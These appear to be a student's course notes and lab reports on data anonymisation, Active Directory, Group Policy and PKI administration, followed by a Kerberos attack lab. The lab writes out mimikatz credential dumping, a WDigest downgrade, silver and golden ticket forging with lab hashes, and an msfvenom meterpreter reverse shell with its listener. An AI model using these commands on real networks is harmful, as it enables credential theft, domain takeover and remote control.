这个表是将上节例2中的数据从4-匿名性重新划分至2-匿名性所得,只有2个等价类,每个等价类中的敏感属性“工资”有高有低,所以敌手无法通过判断受害者在哪个等价类来获知其在某个语义上的区间。

(每个等价类的基数越大,越接近总体的分布,这方面类似深度学习中的batch_size与accuracy的关系)

注:这一节老师讲的基本来源于

[1] l-Diversity: Privacy Beyond k-Anonymity

[2] 大数据时代下的隐私保护. 孙茗珅, 韦韬. 百度安全实验室. 2017(08)

实现匿名化的技术

实现匿名化需要一些原子的方式/手段/技术,例如k-匿名化技术由泛化和隐匿/抑制技术实现。

Generalization和Suppression可参考文献[1],Clustering可参考文献[2],Anatomy可参考文献[3],关于这些技术的总结,可参考文献[4] 16-18。

[1] Protecting privacy when disclosing information: k-anonymity and its enforcement through generalization and suppression

[2] Clustering Based K-anonymity Algorithm for Privacy Preservation.

[3] Anatomy: Simple and Effective Privacy Preservation

[4] 基于K-匿名的隐私保护方法研究

泛化(Generalization)

例1 使用给定表形成泛化树

隐匿/抑制(Suppression)

去除单元值或一个元组的所有值。

聚类(Clustering)

聚类:对数据中的不同记录进行分类,每个分类中的数据属性相同或相似。

使用两条记录之间的距离计算属性相似度。

距离计算:

数值型

语义型

例1 计算给定表中R1、R2两元组的距离

$D_{USA-India}$:USA和India的最小公共祖先所形成的树就是整棵树,其深度为3(注意:深度从0起),故其距离为$3/3$

$D_{41-57}=\frac{\abs{41-57}}{range_{age}} = \frac{57-41}{57-24}$

$D_{Armed-Tech}$:同$D_{USA-India}$

分解(Anatomy)

分割:将原始数据产生满足l-多样性原则的数据划分,然后把准标识属性和敏感属性分成两个表后直接发布,两者之间通过“组号”(Group-ID)来连接。

例1 分割给定表

Step 1:对给定表2-匿名化、2-多样化

Step 2:根据等价类划分Group形成QIT,然后统计各Group中敏感属性的数量形成ST

作业一

作业环境

服务器:

Windows Server 2022:Server-No1

Windows Server 2022:Server-No2

Windows Server 2022:Server-No3

客户端:

Windows 10 1909:Client-No1

配置Active Directory

Server-No1

安装

进入Windows Server Manager,点击”添加角色和功能”。

连续”下一步”,直到到达”服务器角色”。

选中”Active Directory域服务”。

点击”添加功能”。

点击”下一步”,可以看到AD DS的说明。

连续”下一步”。

点击”将此服务器提升为域控制器”,当然也可以以后配置。

这些可视化的点击步骤也可以导出为XML文件,此后使用PowerShell安装。

配置

点击”添加新林”,输入根域名为”xuwp05191643.com”。

点击”下一步”

在这里输入DSRM密码,点击”下一步”。

注:这里的林/域功能级别最高就是Windows Server 2016。

连续”下一步”,全部使用默认值。

我们需要留意的是这个界面,我们可以通过和此后两个服务器对比这个界面来明确概念。

这里可以生成Power Shell脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#
# 用于 AD DS 部署的 Windows PowerShell 脚本
#

Import-Module ADDSDeployment
Install-ADDSForest `
-CreateDnsDelegation:$false `
-DatabasePath "C:\Windows\NTDS" `
-DomainMode "WinThreshold" `
-DomainName "xuwp05191643.com" `
-DomainNetbiosName "XUWP05191643" `
-ForestMode "WinThreshold" `
-InstallDns:$true `
-LogPath "C:\Windows\NTDS" `
-NoRebootOnCompletion:$false `
-SysvolPath "C:\Windows\SYSVOL" `
-Force:$true

点击”下一步”。

点击”下一步”。

点击”关闭”,等待重启。

可以发现我们的Administrator用户前面增加了域”XUWP05191643”。

进入系统后,查看系统属性。

这表明成功创建了父域xuwp05191643.com,同时服务器Server-No1属于xuwp05191643.com

Server-No2

安装

同Server-No1

点击”将此服务器提升为域控制器”。

配置

“将新域添加到现有林”-“更改”。

输入父域的账号密码

但是发现无法连接,点击”查看详细信息”看一下原因。

原来是DNS服务器找不到父域,那直接把DNS服务器改成父域的服务器就好了。

我们把Server-No2的DNS服务器改成Server-No1。

先设置Server-No1的IP和DNS。

然后把Server-No2的DNS服务器改成Server-No1。

点击”选择”,发现这次能搜索到了。

选择”xuwp05191643.com”(父域)-“确定”。

将新域名设置为a

连续”下一步”,直到”查看选项”。

a.xuwp05191643.com的PowerShell脚本。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#
# 用于 AD DS 部署的 Windows PowerShell 脚本
#

Import-Module ADDSDeployment
Install-ADDSDomain `
-NoGlobalCatalog:$false `
-CreateDnsDelegation:$true `
-Credential (Get-Credential) `
-DatabasePath "C:\Windows\NTDS" `
-DomainMode "WinThreshold" `
-DomainType "ChildDomain" `
-InstallDns:$true `
-LogPath "C:\Windows\NTDS" `
-NewDomainName "a" `
-NewDomainNetbiosName "A" `
-ParentDomainName "xuwp05191643.com" `
-NoRebootOnCompletion:$false `
-SiteName "Default-First-Site-Name" `
-SysvolPath "C:\Windows\SYSVOL" `
-Force:$true

点击”下一步”。

点击”下一步”。

点击”关闭”,等待重启。

基本上可以看出来配置AD成功了,再看一下系统属性。

这表明成功创建了xuwp05191643.com的子域a.xuwp05191643.com,同时服务器Server-No2属于a.xuwp05191643.com。

查看一下目前的AD域。

点击”Active Directory域和信任关系”

在Server-No2中查看也是同样的结果,符合预期,配置完成。

Server-No3

安装

配置

这次我们先修改DNS

点击”将此服务器提升为域控制器”后出现配置向导。

点击”将新域添加到现有林”-“树域”。

“更改”处仍使用xuwp05191643.com的凭据。

连续”下一步”,直到”其他选项”。

这里的NetBIOS域名和xuwp05191643.com的NetBIOS域名重复了,所以向导在后面加了个0(这里最好还是换个名字,因为改起来很麻烦)。

连续”下一步”,直到”查看选项”。

xuwp05191643.org的PowerShell脚本。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#
# 用于 AD DS 部署的 Windows PowerShell 脚本
#

Import-Module ADDSDeployment
Install-ADDSDomain `
-NoGlobalCatalog:$false `
-CreateDnsDelegation:$false `
-Credential (Get-Credential) `
-DatabasePath "C:\Windows\NTDS" `
-DomainMode "WinThreshold" `
-DomainType "TreeDomain" `
-InstallDns:$true `
-LogPath "C:\Windows\NTDS" `
-NewDomainName "xuwp05191643.org" `
-NewDomainNetbiosName "XUWP051916430" `
-ParentDomainName "xuwp05191643.com" `
-NoRebootOnCompletion:$false `
-SiteName "Default-First-Site-Name" `
-SysvolPath "C:\Windows\SYSVOL" `
-Force:$true

点击”下一步”。

点击”安装”。

点击”关闭”,等待重启。

登录界面

系统属性

AD域和信任关系。

查看一下xuwp05191643.com的属性。

配置完成。

一次尝试:使用Windows Admin Center配置AD

Microsoft于2018年推出了Windows Admin
Center,这款正在开发的程序正在成为主流的服务器管理方式。

最初我尝试着使用这款全新的工具,按照Microsoft的推荐在Server-No2和Server-No3上安装了无GUI的Windows
Server。

安装完成后可以发现无GUI的Windows Server
2022只有一个PowerShell窗口,该版本开机后会自动进入SConfig程序,如下图。

在Server-No1中打开Windows Admin
Center,输入服务器名Server-No2即可轻松地与其建立连接。同样地,点击”角色和功能”,可以在其中安装Active
Directory域服务。

另外,还可以使用远程桌面连接Server-No2。

但是Windows Admin
Center目前还没有集成对其的配置功能,该功能目前仍作为一个扩展插件被开发,我们可以手动安装它。

但遗憾的是这个插件目前只能在作为域控制器的服务器上查看。

因为AD配置功能仍在开发,Windows Admin Center目前还没有像Windows Server
Manager一样强大的功能,但我相信这样的集大成者在不久后定会成为主流,不负安装系统时的推荐二字。

创建用户

先试一下Desktop版添加用户的方式,打开本地用户和组。

行不通,按它说的在”Active Directory用户和计算机”中添加试试。

右击”xuwp05191643.com”,点击”新建”-“组织单元”。

右击”Client Users”,点击”新建”-“组”。

右击”Client Users”,点击”新建”-“用户”。

这里为了区分各Server的用户,我在”英文缩写”处做了一个标识”-Nox”。

注:在实际生产环境中最好勾选”用户下次登录时须更改密码”,这里我勾选了,后面可以看到需要更改密码才能登录进去,后两个用户就不勾了。

同样的步骤,在Server-No2和Server-No3中操作一遍,有:

登录客户机

配置

首先要将客户机加入到我们创建的AD林中。

首先改DNS

在”系统属性”中加入域即可。

输入xuwp05191643.com的凭据

加入成功。

重启后查看”系统属性”。

登录xuwp-No1

因为我们之前勾选了”用户下次登录时须更改密码”,所以这里系统要求我们更改密码后进入。

使用新密码登录系统后,出现和初始化系统相同的界面。

最后,使用whoami命令确定域和用户。

登录xuwp-No2

根据下面”如何登录到其他域?”的提示,我们使用域名\\域用户名的格式登录。(这实际上是Windows
2000以前版本的登录方式,目前应该使用域用户名\@域名)。

这里不需要更改密码,等待初始化系统后使用whoami确定域和用户。

登录xuwp-No3

发现登录不上,我们ping一下Server-No3试试。

发现DNS无法解析,那就对xuwp05191643.com设置一个xuwp05191643.org的IP转发。

点击”工具”-“DNS”。

右击”条件转发器”-“新建条件转发器”。

输入”DNS域”和”主服务器的IP地址”,点击”确定”。

注:这里虽然提示了一个”验证服务器时出现了一个未知错误”,但其实并无大碍。

再试着ping一下Server-No3。

可以解析了,再次登录一下。

这次可以登录成功了,使用whoami确定域和用户。

共享资源

共享资源有几种方式,但都差不太多。

设置共享文件夹

高级共享

右击想要共享的文件夹-“属性”-“共享”-“高级共享”-“共享此文件夹”-“权限”-允许读取/更改-“确定”。

注意这种方式是共享给”Everyone”的,林中的所有用户都可以发现共享文件夹。

共享

右击想要共享的文件夹-“属性”-“共享”-下拉箭头-“查找个人”-“位置”

选中”整个目录”。

然后我们就可以搜索我们的3个Administrator和3个XuWanpeng-Nox了。

选中他们,点击”确定”。

将6个用户全部加入后如图。

点击”确定”。

最后将他们权限级别全部改为”读取/写入”。

注:这种方式也可以实现对”Everyone”的共享,这个选项也在下拉菜单中。

在Active Directory上发布共享文件夹

有的时候我们不希望整个网络的主机都发现我们的共享文件夹,我们现在试着将文件夹发布到自己所在的AD上。

首先,使用前两节的方法将其设置为共享文件夹。

接着,打开”计算机管理”(compmgmt.msc)-“共享文件夹”-“共享”-右击”Server-No1-ADShare”-“属性”。

点击”将这个共享在Active
Directory中发布”,并为其设置一个关键字即可发布到主机所在AD上,我们在5.2.2节演示怎样使用这些共享文件夹。

查看共享文件夹

在网络中发现共享文件

设置好共享文件夹后,系统会生成一个网络路径,如

林中的计算机使用这个路径后都可以查看共享文件夹。但是我们并不能发现它,这要怎么办呢?

一个朴素的想法就是在”控制面板”-“网络和Internet”-“网络和共享中心”-“高级共享设置”中”启用网络发现”。

但我们发现这个选项点不开,关闭页面后又会变回去。

更简单的方法是在”服务”(services.msc)中把”Function Discovery Resource
Publication”服务打开。

FDResPub服务的作用是:发布该计算机以及连接到该计算机的资源,以便能够在网络上发现这些资源。如果该服务被停止,将不再发布网络资源,网络上的其他计算机将无法发现这些资源。

然后我们就可以在”网络”中发现共享文件夹了。

事实上”启用网络发现”这个选项也是可以打开的,需要用上述方式打开”Function
Discovery Resource Publication”服务、”SSDP Discovery”服务、”UPnP Device
Host”服务,然后这个选项就永久打开了(推荐这种方式)。

至此,我们随便选择3个Administrator和3个xuwp-Nox中的任何1个都可以查看到这些共享文件夹。

在Active Directory上查找共享文件夹

点击”网络”-“搜索Active Directory”。

将”查找”处改为”共享文件夹”。

输入关键字,点击”开始查找”即可找到我们在AD上发布的共享文件夹Server-No1-ADShare。

这里我使用通配符*,但并没有发现此前那些共享文件夹,说明这里只能搜索到在AD上发布的共享文件夹。

事实上,”启用网络发现”的主机也可以看见共享文件夹Server-No1-ADShare,这是不安全的,所以尽量使用Active
Directory共享文件夹。

注:关键字缺省代表搜索所有共享文件夹。

右击”Server-No1-ADShare”行,点击”浏览”即可正常读写文件夹。

我们在这个共享文件夹中写入一个文件,测试其他主机是否能看到这个文件。

进入任意一个林中的主机(这里我选用了发布该共享文件的主机),打开文件。

刷新后即可发现这个新增的文件。

有时我们需要经常用到某个共享文件夹,我们可以将其映射到网络驱动器。

右击”Server-No1-ADShare”行,点击”映射网络驱动器”。

在”驱动器”处选择一个喜欢的盘符。

回到资源管理器即可发现这个网络驱动器。

最后附一张位于多个域的共享文件夹查询。

作业展示截图

域和信任关系的展示截图

Active Directory域和共享关系

xuwp05191643.com属性

连通性测试截图

Server-No1 ping Server-No2 和 Server-No3

Server-No2 ping Server-No1 和 Server-No3

Server-No3 ping Server-No1 和 Server-No2

Client-No1 ping Server-No1、Server-No2 和 Server-No3

林中不同域计算机用户登录客户机的截图

点击开始菜单可以看到的已登录用户

可查询共享资源截图

文件资源管理器的网络选项

在AD上查询共享文件夹

作业二

注:本文对图片的说明位于图片上方,因部分图片过大可能造成错页现象。

系统管理

准备工作———新建组策略对象

服务器管理器-工具-组策略管理

在域”xuwp05191643.com”上设置组策略。

域-(右键)xuwp05191643.com-在这个域中创建GPO并在此处链接

【为GPO(组策略对象)设置一个名称】-确定

展开xuwp05191643.com即可发现组策略对象”CUMT-IS”

(右击)CUMT-IS即可对其进行编辑。

组策略管理编辑器是可视化的。

管理模板

Internet Explore禁止更改主页

用户策略-策略-管理模板:从本地计算机中检索的策略定义(ADMX文件)-Windows组件-Internet
Explore-禁用更改主页设置

已启用-【输入主页】-确定

禁用控制面板程序control.exe

注:可禁用的程序可在C:\\Windows\\System32下找到。

用户配置-策略-管理模板-系统

(双击/右击+编辑)不运行指定的Windows程序-已启用-显示-【输入control.exe】

删除回收站上下文菜单中的”属性”选项

用户配置-策略-管理模板-桌面

(双击)删除”回收站”上下文菜单中的”属性”-已启用

关闭自动播放

用户配置-策略-管理模板-所有设置

(双击)关闭自动播放-已启用-CD-ROM和可移动媒体驱动器

这样的话,插入U盘或其他介质是就不会自动读取内容了,有助于防范计算机病毒。

下发策略并验证

最后,我们指定CUMT-IS对XuWanpeng-No1生效。

使用命令\”gpupdate /force\”进行组策略的下发。

使用XuWanpeng-No1登录Client-No1,更新组策略(重启机器、gpupdate、等待后台更新)后进行验证。

打开IE浏览器,发现主页变为了http://cs.cumt.edu.cn/,打开Internet选项,发现主页不可更改,下方提示"某些设置由系统管理员进行管理"。

尝试打开控制面板,发现

无法直接打开控制面板

无法通过设置打开控制面板

但事实上,通过Win+Q搜索,仍可以打开控制面板。

回去看看设置时的说明,发现该选项仅阻止用户运行由文件资源管理器进程启动的程序

更改前,(右击)回收站:

更改后,(右击)回收站:

发现无法再看见属性选项了。

插入U盘,将其连接到虚拟机,发现没有弹出自动播放界面。

脚本

设置启动脚本

用户配置-策略-Windows设置-脚本(登录/注销)-登录

(双击/右击+属性)登录-显示文件

接着弹出了一个文件夹,其路径为\\\\xuwp05191643.com\\SysVol\\xuwp05191643.com\\Policies\\{CE8870A7-3EC6-40BF-93C8-D67D9458B825}\\User\\Scripts\\Logon

中间由32个16进制数字组成的字符串为GUID。

在此处新建一个welcome.vbs,用于弹出msgbox。

尝试运行一下,此时获取的是Server-No1的Administrator用户。

新建hello.txt和hello.bat,hello.bat用于在登录后打开hello.txt。

完成后

添加-浏览

将vbs和bat脚本添加进来。

下发策略并验证

使用gpupdate /force强制更新组策略。

在Client-No1上注销XuWanpeng-No1并重新登录,发现两个脚本成功执行,弹出了欢迎窗口和今日任务。

文件夹重定向

设置文件夹重定向

在Client-No1域控上新建一个文件夹C:\\Server-No1-My-Documents-Share

右击-属性-共享-高级共享

共享此文件夹-权限

将权限设置为读写

用户配置-策略-Windows设置-文件夹重定向-文档

(右击+属性)基本-将每个人的文件夹重定向到同一个位置-【选择根路径为\\\\CLIENT-NO1\\Client-No1-My-Documents-Share】

下发策略并验证

使用gpupdate /force强制更新组策略。

登录Client-No1,可以在Client-No1的共享文件夹中发现Server-No1共享来的文件夹。

可以查看到Server-No1”文档”中的文件。

在Server-No1中查看”文档”的属性,发现位置已重定向到了Client-No1的共享文件夹中。

软件分发

设置软件分发

创建一个专用于共享软件的文件夹Software-Share,并将要发布的msi安装包放入其中。

用户策略-策略-软件设置-软件安装

(右击)软件安装-新建-数据包-【键入需要的共享安装程序程序包的完整UNC路径】

注:不要使用”浏览”按钮访问该位置。确保使用共享安装程序程序包的UNC路径。

“已发布”方式

已发布-确定

程序包会在组策略窗口的右窗格中列出。

“已分配”方式

(右击)属性-部署-【勾选已分配、在登陆时安装此应用程序】

下发策略并验证

域控计算机Server-No1使用gpupdate /force强制更新组策略,需要注销。

使用xuwp-No1登录客户计算机Client-No1。

“已发布”方式

控制面板-程序-程序和功能-从网络安装程序

可以在此处发现我们分发的软件。

(双击/单机+安装)发现可以正常安装

“已分配”方式

gpupdate /force后,域控计算机Server-No1显示”正在安装托管软件”

xuwp-No1登录Client-No1时,显示了很久的欢迎界面。

控制面板-程序-程序和功能

发现分配的软件已安装。

软件限制

设置软件限制

用户策略-策略-Windows设置-安全设置-软件限制策略

(右击)软件限制策略-创建软件限制策略

(右击)其他规则-新建路径规则

【选择限制软件路径】-【选择安全级别为不允许】

发现右侧窗格增加了限制软件———控制面板Control.exe

但事实上,仍然可以通过”搜索”面板打开控制面板,这说明软件限制策略也只能限制从资源管理器启动的软件。

所以对计算器calc.exe新增一条路径限制,

下发策略并验证

域控计算机Server-No1使用gpupdate /force强制更新组策略,需要注销。

使用xuwp-No1登录客户计算机Client-No1。

从文件资源管理器打开calc.exe

发现受限,且与此前提示不同。

基于组策略的安全分析

【控制台输入mmc】

文件-添加/删除管理单元-安全模板-添加、安全配置和分析-添加

(右击)安全模板-新加模板搜索路径-【选择%SystemRoot%\\security\\templates】

注:%SystemRoot%默认为C:\\Windows

(右击)安全配置和分析-【输入oss(新建一个数据库)】-打开-【选择%SystemRoot%\\security\\templates中的DC
security.inf】

(右击)安全配置和分析-立即分析计算机

因为安全配置和分析默认使用的文件夹是”文档”,而我们的文档在上一步已经重定向到了Client-No1,所以这里将oss.log放在桌面。

接下来系统会根据安全模板分析系统安全机制。

分析完成后,我们就可以点击各项节点来查看与模板不一致的条目。

因为是新建的数据库,所以数据库没有具体设置模板中的数值。

我们可以对这些属性的数值进行具体的设置。

比如:(双击/右击+属性)密码必须符合复杂性要求-在数据库中定义这个策略-已启用

接着,我们发现这一条目出现了绿色对勾,这代表”当前配置与基准线符合或较之更好”;而红色错叉代表”当前配置与基准线不符合”。

(双击/右击+属性)放宽最小密码长度限制-说明

(双击/右击+属性)最小密码长度审核-说明

我们可以按安全模板中所指示的安全性变化进行配置。

(右击)安全配置和分析-立即配置计算机

【选择桌面上的oss.log】-确定

即可按安全模板配置计算机安全。

最后我们可以将此控制台保存下来,便于此后使用。

Public Key Infrastructure

使用Windows中的PKI

创建证书颁发机构

服务器管理器-添加角色和功能

连续下一步,直到下图页面,【点击Active Diretory证书服务】

添加功能

连续下一步,直到下图界面,【勾选证书颁发机构Web注册】,即开启网页注册功能。

添加功能。

连续下一步,确认到如下内容后点击安装。

接下来配置AD证书服务。

下一步,【勾选证书颁发机构*】

连续下一步,最后点击配置

配置成功后进入下一步。

用户申请证书

使用xuwp-No1登录Client-No1,访问https://xuwp05191643.com/certsrv

高级证书申请

创建并向此CA提交一个申请

注:必须使用IE内核访问。

在IIS(inetmgr)中把DefaultWebSite的网站绑定更改为仅https。

若无法加载CSP,可将网站加入受信任的站点,或将Internet改为受信任站点的配置(安全级别中,取消启用保护模式的勾选)。

申请一个EFS恢复代理的证书。

注:该选项需要增加Domin Users并允许注册

安装此证书。

成功安装证书

【打开控制台(mmc)】-添加或删除管理单元-证书-添加

证书-当前用户-个人-证书

查看到xuwp-No1成功从Server-No1上申请了一个证书,友好名称(好记的名称)为xuwp-cert。

回到Server-No1,在颁发的证书处也能发现该证书。

成功。

证书的导出和导入

证书导出

(右击)证书项-所有任务-导出

这里我选了base64编码。

导出证书到桌面

最后确认如下,点击完成

在桌面上发现了我们导出的证书。

使用记事本打开,确实是base64编码

注:如果用其他格式导出,记事本无法解析内容。

打开证书,确认是我们从Server-No1申请的证书。

证书导入

首先我们把已有的证书删掉。

(右击)证书项-删除

证书-当前用户-个人-(右击)证书-所有任务-导入

最后确认如下,点击完成。

成功恢复证书,但发现友好名称没了。

通过组策略自动注册

证书颁发机构(本地)-
xuwp05191643-SERVER-NO1-CA-证书模板-(右击)空白处-管理

(右击)代码签名-复制模板

【勾选 在Active Directory中发布证书】

安全-【增加Domin Users】-勾选其注册、自动注册

(右击)空白处-新建-要颁发的证书模板-代码签名 的副本

计算机配置-策略-Windows设置-安全设置-公钥策略-自动证书申请设置

(右击)自动证书申请设置-新建-自动证书申请

选择计算机

完成

用户配置-策略-Windows设置-安全设置-公钥策略

(双击/右击+属性)证书服务客户端-自动注册

配置模式-启用-【勾选 续订…和更新使用…】

回到Client-No1,发现新增了两张证书,包括”代码签名 的副本”

成功。

证书的吊销

证书颁发机构(本地)- xuwp05191643-SERVER-NO1-CA-颁发的证书

(右击)欲吊销的证书项-所有任务-吊销证书

证书的使用

用SSL加密IIS的传输

IIS管理器-(右击)服务器证书-打开功能

创建证书申请

填写证书信息

默认,下一步

设置一个证书路径,点击完成。

查看制作的证书。

以xuwp-No1的身份访问https://xuwp05191643.com/certsrv

选择使用base64编码的…

粘贴制作证书中的base64,选择Web服务器。

注:该选项需要增加Domin Users并允许注册

下载证书

IIS管理器-完成证书申请

导入下载的证书文件。

发现新增了一张证书

(右键)该证书项-详细路径-使用者

在Client-No1上访问https://xuwp05191643.com/certsrv,查看其证书。

成功。

作业三

注:本文对图片的说明位于图片上方,因部分图片过大可能造成错页现象。

Kerberos认证协议及其攻击

Kerberos原意是希腊神话中看守冥界入口的恶犬刻耳柏洛斯,字面意思为”黑暗中的恶魔”。

网络安全中的Kerberos是一种计算机网络授权协议,用来在非安全网络中,对个人通信以安全的手段进行身份认证。域环境下的身份认证使用的就是Kerberos协议。

Kerberos认证协议流程

协议中的用到的名词缩写:

AS (Authentication Service): 认证服务器

TGS (Ticket Granting Service): 票据授予服务器

KDC (Key Distribution Center): 密钥分发中心

TGT (Ticket Granting Ticket): 票据授权票据,或者说:票据的票据

ST (Servre Ticket): 服务票据

认证服务器交换

每次用户登陆执行一次

1)

2)

其中:

票据许可服务器交换

每种类型服务执行一次

3)

其中:

4)

其中:

应用服务器交换

每个服务会话执行一次

5)

其中:

6)

白银票据攻击原理

白银票据(Silver Ticket)通过伪造ST(Service Ticket)完成攻击,因为在TGT已经在PAC里限定了给Client授权的服务(通过SID的值),所以白银票据只能访问指定服务。

黄金票据攻击原理

白银票据(Golden Ticket)通过伪造TGT(TicketGranting Ticket)完成攻击。域用户有了TGT,那么就可以发送给TGS换取任意服务的ST。有了金票就有了域内的最高权限。

票据传递攻击(PtT)

票据传递攻击就是将Kerberos协议认证过程中的某些票据传递到普通域用户手中,然后他们便可以得到票据相应的权限,我们可以传递已存在票据(从域管理员用户处导出),也可以根据服务器信息生成出有用的票据进行传递,如白银票据、黄金票据。

本次实验要求演示后两种,事实上传递已存在票据十分简单,不需获取信息,只要两行通用命令即可。

1
2
sekurlsa::tickets /export
kerberos::ptt [0;34c63]-2-0-60a10000-ailx00@krbtgt-HACKBIJI.TOP.kirbi

实验环境

域控制器:Windows Server 2016 Server-No5

域内主机:Windows 10 Client-No1

完整攻击流程

  1. 在域中主机登录本地用户Administrator,使用mimikatz的logonpassword取得一个域用户的用户名和密码

    如果取得了普通域用户的用户名和密码,那么可以登录普通域用户,使用漏洞(如MS14-068)临时提权至域管理员用户权限然后创建一个新的域管理员用户;

  2. 使用域管理员用户,获取足够的信息(如krbtgt用户的HTLM-Hash),使用这些信息为某个普通域用户(白银票据)/任意用户(黄金票据)制作票据;

  3. 登录普通域用户,导入票据,即可取得Kerberos服务权限。
    注:实验指导书是从第2步开始的

取得域管理员用户

在域中主机登录本地用户Administrator

获取主机及其所在域信息

1
net config workstation

获取域控制器名称:SERVER-NO5

1
nltest /dsgetdc:XUWP05191643

使用mimikatz获取已登录用户密码

1
2
privilege::debug
sekurlsa::logonpasswords

或者直接利用>将打印结果输出到文件

1
目录\mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit" > password.txt

要获取已登录用户的明文密码,直接要求是服务器没有安装KB2871997补丁,它的作用是禁用Wdigest Auth,我们的服务器版本太高了,所以先制造出这个漏洞,模拟一下老旧服务器所处的陷境。

在域控Server-No5上使用该Powershell启用Wdigest Auth。

1
Set-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest -Name UseLogonCredential -Type DWORD -Value 1

可以发现,我们直接获取到了域控制器Server-No5的管理员用户Administrator的密码、域SID。

同时还发现了一个普通域用户的用户名:xuwp-No1、密码:12345Qwerty

在Client-No1登录xuwp-No1,尝试使用CIFS服务、创建域用户。均被拒绝访问。

接下来进行票据生成及利用。

白银票据攻击

白银票据:伪造TGS只能访问指定的服务,且由服务账号(通常为计算机账户)的Hash加密,银票在使用的过程不需要同域控通信。

以下是Kerberos服务及其对应的白银票据。

Service Type Service Silver Tickets
WMI HOST
RPCSS
PowerShell Remoting HOST
HTTP
WinRM HOST
HTTP
Scheduled Tasks HOST
Windows File Share (CIFS) CIFS
LDAP operations including
Mimikatz DCSync
LDAP
Windows Remote Server Administration Tools RPCSS
LDAP
CIFS

接下来系统地获取一下kerberos::golden命令所需的参数。

首先在域控Server-No5上找到Server-No5$的NTLM,这个值是参数rc4的值。

1
sekurlsa::logonpasswords

接着,找一下参数domain、target、rc4的值(前面也都出现过,但这个命令比较聚合)

1
lsadump::dcsync /domain:xuwp05191643.com /all /csv

切换至Client-No1,找一下参数user和sid的值

1
whoami /user

最后按kerberos::golden的语法,使用参数信息,写出payload。这里user的值不一定要为真实普通域用户的用户名,也可以不用生成票据文件,/ticket行换成/ptt直接进内存。

1
2
3
4
5
6
7
8
kerberos::golden
/user:hacker
/domain:xuwp05191643.com
/sid:S-1-5-21-2641759520-180272662-1158014618
/target:Server-No5
/rc4:612f2673c6369f8a0b0d63cf784b46dc
/service:cifs
/ticket:silver.kirbi

使用mimikatz制作票据。

同目录下出现了白银票据silver.kirbi

导入票据、查看票据,发现了一个在十年有效期内可以从Server-No5获取CIFS服务的票据。

1
2
kerberos::ptt silver.kirbi
kerberos::list

测试一下是否可以使用CIFS服务,发现很成功!

1
dir \\Server-No5\c$

接着看看是否可以创建域用户、提升至域管理员用户。

1
net user hacker_silver 12345Qwert /add /domain

这个功能不可以,这也验证了白银票据只能访问指定的服务。

实验中耗时的点:

1. mimikatz无法解析Windows Server 2022的lsass.dmp,所有版本都不行

如果你域内的域控制器是不支持的版本,可以新增域控,域控制器可以有很多。

从lsass.exe创建转储文件最简单的方法:

2. rc4处填的是域控制器DC$的NTLM

黄金票据攻击

Golden
Ticket:伪造TGT,可以获取任何Kerberos服务权限,且由krbtgt的hash加密,金票在使用的过程需要和域控通信。

Windows下使用mimitakz攻击

首先系统地获取一下kerberos::golden命令所需的参数。

首先在域控Server-No5上获取krbtgt的NTLM。

1
lsadump::lsa /patch /user:krbtgt

获取krbtgt的sid。

1
wmic useraccount get name, sid

按kerberos::golden的语法,使用取得的参数,写出payload。

1
2
3
4
5
6
kerberos::golden
/admin:hacker
/domain:xuwp05191643.com
/sid:S-1-5-21-2641759520-180272662-1158014618
/krbtgt:e70473fa5d05081e15e9498ea548fab8
/ticket:golden.kirbi

1
kerberos::golden /admin:hacker /domain:xuwp05191643.com /sid:S-1-5-21-2641759520-180272662-1158014618 /krbtgt:e70473fa5d05081e15e9498ea548fab8 /ticket:golden.kirbi

同目录下出现了黄金票据golden.kirbi

清除票据、导入票据、查看票据。

1
2
3
kerberos::purge
kerberos::ptt golden.kirbi
kerberos::list

同样地,测试一下CIFS服务,意料之中,很是成功。

1
dir \\Server-No5\c$

接下来再试试是否可以创建域用户、提升至域管理员用户,这次成功了,说明黄金票据可以让hacker提升至域管理员用户权限。

在域控里看一下是否有域管理员用户hacker_golden。

Active
Directory用户和计算机-xuwp05191643.com-Users-(双击/右击+属性)hacker_golden-隶属于

确实存在域管理员用户hacker_golden。

Kali下使用msf攻击

首先生成木马。

1
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.36.142 LPORT=23333 -f exe > msf.exe

配置监听模式,运行,在Client-No1上点开msf.exe,成功获取shell。

1
2
3
4
5
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.36.142
set LPORT 23333
run

加载mimikatz(模块名居然叫kiwi,奇异果hhhh)。

1
load kiwi

生成票据,使用和上一节一样的参数。

1
2
3
4
5
6
golden_ticket_create
-d xuwp05191643.com
-k e70473fa5d05081e15e9498ea548fab8
-s S-1-5-21-2641759520-180272662-1158014618
-u hacker
-t /root/golden.kirbi

1
golden_ticket_create -d xuwp05191643.com -k e70473fa5d05081e15e9498ea548fab8 -s S-1-5-21-2641759520-180272662-1158014618 -u hacker -t /root/golden.kirbi

使用票据

1
kerberos_ticket_use /root/golden.kirbi

进入cmd,测试CSIF服务,成功。

1
2
3
shell
chcp 65001 注释:这步是乱码问题的一个简单解决方案
dir \\Server-No5\c$

补充

抓取Net-NTLM Hash

aes256票据

NTLM Hash和Kerberos协议的关系

Windows通过NT LAN Manager将域用户的明文密码计算为NTLM Hash,然后存放在DC的NTDS.DIT文件中。

Kerberos协议会将用户的NTLM Hash通过加密算法加密得到Login Session Key,它的作用是作为Client和KDC之间通信加密的会话密钥。

详见Kerberos 认证过程详细分析(一)的AS_REP部分。

Kerberos常用的加密方法有RC4和AES-256,另外还有DES-CBC和AES-128。

生成使用AES256作为Login Session Key的白银票据

1
2
privilege::debug
sekurlsa::ekeys

同理,也可以

1
mimikatz.exe "privilege::debug" "sekurlsa::ekeys" "exit" > log_aes256.txt

将参数\rc4替换为\aes256

1
2
3
4
5
6
7
8
kerberos::golden 
/user:hacker_aes
/domain:xuwp05191643.com
/sid:S-1-5-21-2641759520-180272662-1158014618
/target:Server-No5
/aes256:4b2daf5c7c26a1789f6132649dcace783954b4deefac7bd4d0bf294a07fb1b95
/service:cifs
/ticket:silver_aes.kirbi

尝试使用CIFS对应的服务

成功

作业四

EFS

文件加解密

使用xuwp-No1登录Client-No1,加密Client-No1中的一个文件夹”Client-No1-机密文件夹”。

(右击)文件夹-属性-高级-加密内容以便保护数据

